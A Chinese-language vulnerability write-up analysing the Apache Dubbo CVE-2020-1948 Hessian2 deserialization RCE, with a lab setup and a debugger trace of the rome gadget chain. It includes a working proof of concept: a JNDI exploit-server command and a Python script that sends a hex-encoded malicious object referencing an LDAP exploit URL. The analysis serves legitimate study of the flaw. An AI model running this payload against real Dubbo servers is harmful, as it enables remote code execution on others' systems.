0x00 前言
之前的文章分析了Dubbo的一个反序列化漏洞-CVE-2019-17564,这次来分析一下另外一个dubbo的漏洞-CVE-2020-1948,加深对Dubbo反序列化利用的理解。这次两种利用方式,以其中一种为主,另外一种简单介绍一下。
0x01 关于Dubbo和CVE-2020-1948
Apache Dubbo是基于Java的高性能开源RPC框架。它提供了三大核心功能:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。
附一张Dubbo架构:
Apache Dubbo 2.7.6或更低版本采用默认反序列化方式(Hessian2)实现反序列化,其中存在反序列化RCE漏洞。
攻击者可以发送未经验证的服务名或方法名的RPC请求,当服务端存在可以被利用的第三方库时,payload被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执行。
0x02 环境搭建
1.首先下载官方dubbo-spring-boot-project项目,并修改版本为漏洞版本2.7.6
2.然后修改pom文件,添加攻击依赖
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
3.然后使用maven或者idea打包构建项目,并用较低版本的jdk启动Provier
4.使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成JNDI链接并启动后端相关服务
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 127.0.0.1
5.编写POC.py包含恶意反序列化对象,反序列化后会访问JNDI利用链,并运行
import socket
def sendEvilObjData(sock):
payload="DABBC20000000000000000000000037805322E302E3230366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636505312E302E300474657374124C6A6176612F6C616E672F4F626A6563743B48433027636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E457175616C734265616E92036F626A096265616E436C61737360433029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E92036F626A096265616E436C61737361431D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706CAC06706172616D73096C697374656E657273036D61700A6368617253747265616D0B617363696953747265616D0D756E69636F646553747265616D0C62696E61727953747265616D0F7374724D61746368436F6C756D6E730D694D61746368436F6C756D6E73057265734D4406726F77734D4402727302707304636F6E6E09666574636853697A650866657463684469720969736F6C6174696F6E1065736361706550726F63657373696E6708726561644F6E6C790B636F6E63757272656E63790C6D61784669656C6453697A65076D6178526F77730C717565727954696D656F75740B73686F7744656C657465640A726F77536574547970650A64617461536F757263650355524C07636F6D6D616E64624D136A6176612E7574696C2E486173687461626C655A4E4E4E4E4E4E56106A6176612E7574696C2E566563746F729A03666F6F4E4E4E4E4E4E4E4E4E56919A8F8F8F8F8F8F8F8F8F8F4E4E4E4E4E90CBE8925454CBF090909046CBEC1D6C6461703A2F2F3132372E302E302E313A313338392F4578706C6F69744E4E430F6A6176612E6C616E672E436C61737391046E616D65631D636F6D2E73756E2E726F777365742E4A646263526F77536574496D706C633029636F6D2E726F6D65746F6F6C732E726F6D652E666565642E696D706C2E546F537472696E674265616E5191519151915A48047061746830366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F5365727669636509696E7465726661636530366F72672E6170616368652E647562626F2E737072696E672E626F6F742E64656D6F2E636F6E73756D65722E44656D6F536572766963650776657273696F6E05312E302E305A"
sock.send(payload.decode('hex'))
def run(dip,dport):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_addr=(dip,dport)
sock.connect(server_addr)
sendEvilObjData(sock)
run("127.0.0.1",12345)
0x03 两种方式详细分析
第一种
首先在DecodeHandler#received下断点,可以看到使用了this.decode函数对request请求中的参数进行了解码处理
步入到this.decode函数后,再继续步入DecodeableRpcInvocation#decode,进行相关处理后,到达利用hessian2的readObject函数进行反序列化处
步入Hessian2Input#readObject,根据相应的tag进行数据处理,最后进入到reader.readMap函数
在readMap中进行更加详细的数据处理后,调用doReadMap函数
在doReadMap函数中,调用map.put方法,然后通过HashMap触发对应的hashCode方法实现反序列化
步入到EqualsBean#hashCode函数,可以看到最后又调用了toString()
步入后进入到ToStringBean#toString(),之后继续调用本类一个参数的toString(String prefix)函数
在toString(String prefix)中,在获取到对象的属性和方法后,会通过java实现的invoke方法动态调用传入对象的所有方法对象,我们的恶意代码也会执行,造成RCE
第二种
这种方式主要利用了当正常的Dubbo调用找不到service时会爆出异常,并且没有对rome的ToStringBean类进行黑名单处理,因此在抛出异常输出这个对象信息时隐式调用了其toString方法,最终也是进入到toString(String prefix)中执行恶意代码。
0x04 结语
本文我们详细的跟踪了CVE-2020-1948的利用过程,相信对于Java反序列化以及Dubbo的反序列化的利用已经非常清楚了。